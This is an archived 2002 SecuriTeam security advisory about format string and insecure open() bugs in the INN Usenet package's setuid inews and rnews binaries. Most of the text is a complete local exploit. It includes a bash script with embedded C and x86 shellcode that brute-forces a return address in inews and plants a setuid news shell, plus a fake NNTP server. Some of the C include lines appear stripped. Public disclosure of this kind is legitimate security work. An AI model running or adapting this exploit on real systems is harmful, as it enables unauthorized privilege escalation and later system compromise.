[EXPL] INN Security Problems Allow Gaining of news Privileges

From: support@securiteam.com
Date: 04/14/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sun, 14 Apr 2002 21:57:59 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  INN Security Problems Allow Gaining of news Privileges
------------------------------------------------------------------------

SUMMARY

The <http://www.isc.org/products/INN/> InterNetNews package (INN) is a
complete Usenet system. It includes innd, an NNTP server, and nnrpd, a
news-reading server. INN separates hosts that feed you news from those
that have users reading news. Several security vulnerabilities have been
found in the product that allows attackers to cause the program to execute
arbitrary code.

DETAILS

Vulnerable systems:
INN versions prior to 2.2.3 (NOTE the latest version is 2.3.2)

There are several format string coding bugs as well as insecure open()
calls. In particular, the inews and the rnews binaries are affected. This
may lead to serious security problems if those binaries are installed
set-uid and are executable by any user. In the case of inews, obtaining
uid news is possible (which can be further used to replace/Trojan other
system files like the binaries themselves), in the case of rnews, access
to probably sensitive inn configuration files seems possible (like inn
password hashes etc).

The attached archive contains a short proof of concept code for one of the
format string bugs (look in the inews.sh script for more details) in the
inews binary. The code has been successfully tested against SuSE 7.0 where
inews and rnews are setuid news. Later distributions seem to use another
security concept - the binaries are either only setgid news or are not
executable by ordinary users. The exploitation is technically difficult -
it requires a fake NNTP server setup somewhere (the code comes with the
tar package). Note: this is NOT a remote exploit. Look at the code for
more technical details. The code will create a setuid news shell.

Exploit:
inews.sh
#!/bin/bash
#
# There are several coding errors in the inn source
# this script will exploit the bug found at frontends/inews.c:
# (void)sprintf(buff, innconf->mta, address);
# this is an ordinary format string bug
#
# However the exploitation is technically complicated
# due to the fact that the involved buffers are quite short
# so we cannot apply the usuall 'write four times' technique
# because the second write will overwrite the argument stack
# instead we change the 3rd byte XX of a 0x40XXYYYY RET to
# point to the far heap, where the given article is stored
# The article contains replicated shell code and must be
# therefore about 0x1000000 bytes long to cover the possible
# adress range
#
# This script will create set-uid news shell at location
# SUIDSHELLDIR. To get gid=news run the shell and then run
# newgrp (is this an error in newgrp?). Giving users his
# gid while having another is not really wise :-)
#

# inews binary to crack
INNBIN=/usr/bin/inews

# your fake nntp server, you need root at that box! (due to port 119)
NNTPS=10.0.0.1

# retaddr to change (may vary with your environment)
# this is the estimate for SuSE 7.0 standard user's environment
# if you have a bigger env you must lower this
RETADDR=0xbfffea00

# where to make suid shell, use a news owned directory
SUIDSHELLDIR=/var/lib/news

# the involved buffers are rather small so 63 is a good chooice
MAXPROBE=63

# corrects the byte written by sprintf if doesn't work by default
FLIP=0

# prepare
umask 022
echo
echo "***********************************************************"
echo "* Local inews uid news exploit *"
echo "* by IhaQueR '2002 *"
echo "***********************************************************"

# check if we can go

if ! test -u $INNBIN ; then
  echo
  echo "[-] $INNBIN doesn't exist or is not set-uid"
  exit 129
fi;

echo
echo "[+] FOUND set-uid inews at $INNBIN"

TMPDIR=$(mktemp -d "/tmp/innexpl.XXXXXX")
mkdir -p $TMPDIR
cd $TMPDIR
chmod a+rwx .

# conf & article
INNCF="$TMPDIR/inn.conf"
ARTICLE="$TMPDIR/blah.txt"`

echo
echo " descending to $TMPDIR"
rm -f "$TMPDIR/news-was-here"

cat <<__EOF__ >inn.conf
organization: A poorly-installed InterNetNews site :-)
pathnews: /etc/news
pathdb: $TMPDIR
pathetc: /etc/news
pathrun: $TMPDIR
pathlog: $TMPDIR
pathhttp: $TMPDIR
pathtmp: $TMPDIR
pathspool: $TMPDIR
patharticles: $TMPDIR
pathoverview: $TMPDIR
pathoutgoing: $TMPDIR
patharchive: $TMPDIR
pathuniover: $TMPDIR
pathincoming: $TMPDIR
__EOF__

if ! test -s inn.conf ; then
  echo
  echo "[-] error creating inn.conf"
  exit 129
fi;

echo
echo "[+] config file $TMPDIR/inn.conf"

# get uids
nuid=$(id -u news)
ruid=$(id -u)
if ! test $nuid="" || ! test $ruid="" ; then
  echo
  echo "[-] error checking ids, sorry"
  exit 129;
fi;

echo
echo "[+] news uid=$nuid your uid=$ruid"

# our script to run at uid news
cat <<__MKMSH__ >mkmsh
#!/bin/bash
cp sush $SUIDSHELLDIR/newsh
chmod a+x $SUIDSHELLDIR/newsh
chmod u+s $SUIDSHELLDIR/newsh
__MKMSH__

chmod a+x mkmsh
if ! test -x mkmsh ; then
  echo
  echo "[-] error creating mkmsh script"
  exit 129
fi;

# fake article to send
rm -f $ARTICLE
echo >$ARTICLE "Subject: blah"
echo >>$ARTICLE "Newsgroups: blah"
echo >>$ARTICLE ""
echo >>$ARTICLE "dupagola"
echo >>$ARTICLE ""
chmod a+r $ARTICLE

# suid shell
cat <<__SUSH__>sush.c
#include <unistd.h>
int main()
{
  setreuid(geteuid(), geteuid());
  setregid(getegid(), getegid());
  execl("/bin/bash", "bash", NULL);

return 128;
}
__SUSH__

gcc sush.c -o sush
if ! test -x sush ; then
  echo
  echo "[-] error compiling sush"
  exit 129
fi;

echo
echo "[+] compiled sush"

rm -f newsh

# brute force cracker

cat <<__EOF2__ >crackit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// shell will be padded NOPS times
#define NOPS 1024
#define NOP 0x90

#define TMPLEN 512
#define TMPLEN2 4096

// IhaQueR's special setresuid() shellcode
// this will run ./mkmsh script in current directory
// rather than a shell
static char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9"
      "\xb1\x01\xb7\x02\xb3\x03"
      "\xb0\x46\xcd\x80"
      "\x31\xc0\x31\xdb\x31\xc9"
      "\xb3\x01\xb5\x02\xb1\x03"
      "\xb0\x46\xcd\x80"
      "\x31\xc0\x31\xdb"
      "\xb3\x01\xb0\x17\xcd\x80"
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
      "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
         "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";

//'
void fatal(char *msg)
{
  printf("\n");
  if(errno) {
    printf("\n[-] FATAL: %s - %s", msg, strerror(errno));
  }
  else {
    printf("\n[-] FATAL: %s\n", msg);
  }
  fflush(stdout);
  printf("\n");
  exit(129);
}

void setremote(char *msg, int len)
{
int s, r;
struct sockaddr_in sin;
char buf[TMPLEN];

  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s<0)
    perror("socket"), exit(1);

  bzero(&sin, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(119);
  sin.sin_addr.s_addr = inet_addr("$NNTPS");
  
  r = connect(s, &sin, sizeof(sin));
  if(r)
    fatal("connect $NNTPS");

  bzero(buf, sizeof(buf));
  snprintf(buf, sizeof(buf)-1, "HEAD%s", msg);
  write(s, buf, 5+len);
  close(s);
}

int main(int ac, char **av)
{
unsigned char *cf=NULL, *p;
int fd, i, j, k, flip, pd[2];
unsigned retadr, ruid, nuid, wlen, *ptr;
struct stat st, st2;
char buf[TMPLEN2];
char headbuf[TMPLEN];
unsigned char head[33];

// setup env
  putenv("INNCONF=$INNCF");
  putenv("NNTPSERVER=$NNTPS");

// correct hellcode for current ruid, nuid
  ruid = $ruid;
  nuid = $nuid;
  hellcode[7] = nuid & 0xff;
  hellcode[9] = (ruid >> 8 ) & 0xff;
  hellcode[11] = ruid & 0xff;
  hellcode[23]=hellcode[7];
  hellcode[25]=hellcode[9];
  hellcode[27]=hellcode[11];
  hellcode[37]=hellcode[7];

// make a memory copy of inn config
  printf("\n[*] backing up $INNCF");
  fflush(stdout);
  if(stat("$INNCF", &st))
    fatal("stat");
  cf = malloc(st.st_size + 16);
  fd = open("$INNCF", O_RDONLY);
  read(fd, cf, st.st_size);
  close(fd);

// probe stack
  printf("\n[*] probing stack... please WAIT\n\n ");
  fflush(stdout);

  fd = open("$INNCF", O_WRONLY|O_TRUNC);
  write(fd, cf, st.st_size);
  sprintf(buf, "mta:/bin/echo ");
  write(fd, buf, strlen(buf));

  i = pipe(pd);
  if(i)
    fatal("pipe");

  i = 0; j = 1;
  bzero(headbuf, sizeof(headbuf));
  strcat(headbuf, "ABCD");
  setremote(headbuf, strlen(headbuf));

// probe until ABCD is found
  while(1) {
    if(i>$MAXPROBE) {
      close(fd);
      fd = open("$INNCF", O_WRONLY|O_TRUNC);
      write(fd, cf, st.st_size);
      sprintf(buf, "mta:/bin/echo ");
      write(fd, buf, strlen(buf));
      i = 0;
      strcat(headbuf, "ABCD");
      setremote(headbuf, strlen(headbuf));
      j++;
      printf("\n ");
      if(j>$MAXPROBE)
        fatal("no write position found");
    }

    i++;
    sprintf(buf, "%%.g%%x");
    write(fd, buf, strlen(buf));
    fsync(fd);

    printf(" %.3d", i);
    if(!(i%16))
      printf("\n ");
    fflush(stdout);
    
    if(!fork()) {
      dup2(pd[0], 0);
      dup2(pd[1], 1);
      dup2(pd[1], 2);
      execl("$INNBIN", "inews", "-h", "$ARTICLE", NULL);
      printf("ERROR execl()\n");
      fflush(stdout);
      exit(129);
    }
    wait(NULL);
    bzero(buf, sizeof(buf));
    read(pd[0], buf, sizeof(buf)-1);

    if((p=(unsigned char*)strstr(buf, "44434241"))) {
      *p = 0;
      wlen = strlen(buf);
      printf("\n\n[+] FOUND at i, j %d %d WLEN %d\n", i, j, wlen);
      fflush(stdout);
      break;
    }
    fflush(stdout);
    lseek(fd, -2, SEEK_CUR);
  }
  close(fd);
  close(pd[0]);
  close(pd[1]);

// make big shell, this must cover the 16mb range
  printf("\n[*] making bigbigbig shell inside $ARTICLE");
  fflush(stdout);
  memset(buf, NOP, NOPS);
  memcpy(buf+NOPS, hellcode, sizeof(hellcode));
  fd = open("$ARTICLE", O_WRONLY|O_APPEND);
  for(k=0; k<(1024*1024*16)/(sizeof(hellcode)+NOPS); k++)
    write(fd, buf, NOPS+sizeof(hellcode));
  close(fd);
  printf("\n[*] finished making big shell");
  fflush(stdout);

// brute force crunch
  retadr = $RETADDR;
  printf("\n\n Brute force search RET\n");
  fflush(stdout);

  sprintf(headbuf, "mta:/bin/echo ");
  for(k=0; k<i; k++)
    strcat(headbuf, "%.g");

// may adjust the flip if we don''t hit any nops by default
  flip = $FLIP;

  while(1) {

// set remote to reply new retaddr
    bzero(buf, sizeof(buf));
    for(k=0; k<j; k++)
      strcat(buf, "ABCD");
    ptr = (unsigned*)(buf + (j)*4);

// we change the 3rd byte of RET
// so EIP will go to the area of article
    for(k=0; k<4; k++)
      ptr[k] = retadr + 2;
    setremote(buf, j*4+12);

    printf("\n RET 0x%.8x FLIP %d", retadr, flip);
    fflush(stdout);

    if(fork()) {
      wait(NULL);
      if(!stat("$SUIDSHELLDIR/newsh", &st2)) {
        printf("\n\n[+] PARADOX!\n SUID SHELL AT
$SUIDSHELLDIR/newsh\n\n");
        fflush(stdout);
        exit(0);
      }
      retadr += 4;
      if(retadr > 0xc0000000) {
        errno=0;
        fatal("no suitable RET found");
      }
    }
    else {
      fd = open("$INNCF", O_WRONLY|O_TRUNC);
      write(fd, cf, st.st_size);
      write(fd, headbuf, strlen(headbuf));

// may fail if %hhn is not available
      sprintf(head, "%%%04dx%%hhn", flip);
      write(fd, head, 10);
      close(fd);

      fd = open("/dev/null", O_RDWR);
      dup2(fd, 0);
      dup2(fd, 1);
      dup2(fd, 2);
      execl("$INNBIN", "inews", "-h", "$ARTICLE", NULL);
      exit(129);
    }
  }

return 0;
}
__EOF2__

gcc crackit.c -o crackit
if ! test -x crackit ; then
  echo
  echo "[-] error compiling crackit helper"
  exit 129
fi;

echo
echo "[+] compiled crackit, running now!"

/crackit

rm -rf $TMPDIR

fakenntp.c:
/************************************************************************
* *
* Fake NNTP server for inews.sh *
* run it somewehre you have uid=0 *
* it hosts only the blah group *
* *
************************************************************************/

#include
#include
#include
#include
#include
#include
#include
#include
#include

int main()
{
int s, a=1023, l, r, n=0;
struct sockaddr_in sin;
char buf[512], reqbuf[512];

  
  signal(SIGPIPE, SIG_IGN);
  
  bzero(reqbuf, sizeof(reqbuf));

  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s<0)
    perror("socket"), exit(1);

  l=sizeof(r);
  r=1;
  setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &r, l);

  bzero(&sin, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(119);
  
  r = bind(s, &sin, sizeof(sin));
  if(r)
    perror("bind"), exit(1);
    
  r = listen(s, 10);
  if(r)
    perror("listen"), exit(1);

// one conn lame TCP server
  while(1) {
    l = sizeof(sin);

    close(a);
    a = accept(s, &sin, &l);
    n++;
    
    if(a>0) {
      printf("\nID %d ", n);
      fflush(stdout);

      sprintf(buf, "200\n");
      write(a, buf, strlen(buf));
      read(a, buf, sizeof(buf));
      if(!strncmp(buf, "HEAD", 4)) {
        strncpy(reqbuf, buf+4, sizeof(reqbuf)-1);
        reqbuf[sizeof(reqbuf)-1]=0;
        printf("REQUESTED %s", reqbuf);
        fflush(stdout);
        continue;
      }
      
      sprintf(buf, "200\n");
      write(a, buf, strlen(buf));
      read(a, buf, sizeof(buf));

      sprintf(buf, "215\n%s\nblah 1 1 m\n.\n", reqbuf);
      write(a, buf, strlen(buf));
      read(a, buf, sizeof(buf));

      sprintf(buf, "now@die.hard\n");
      write(a, buf, strlen(buf));
      read(a, buf, sizeof(buf));

      sprintf(buf, "quit\n\n");
      write(a, buf, strlen(buf));
      write(a, buf, strlen(buf));
    }
  }

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:paul@starzetz.de> Paul
Starzetz.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages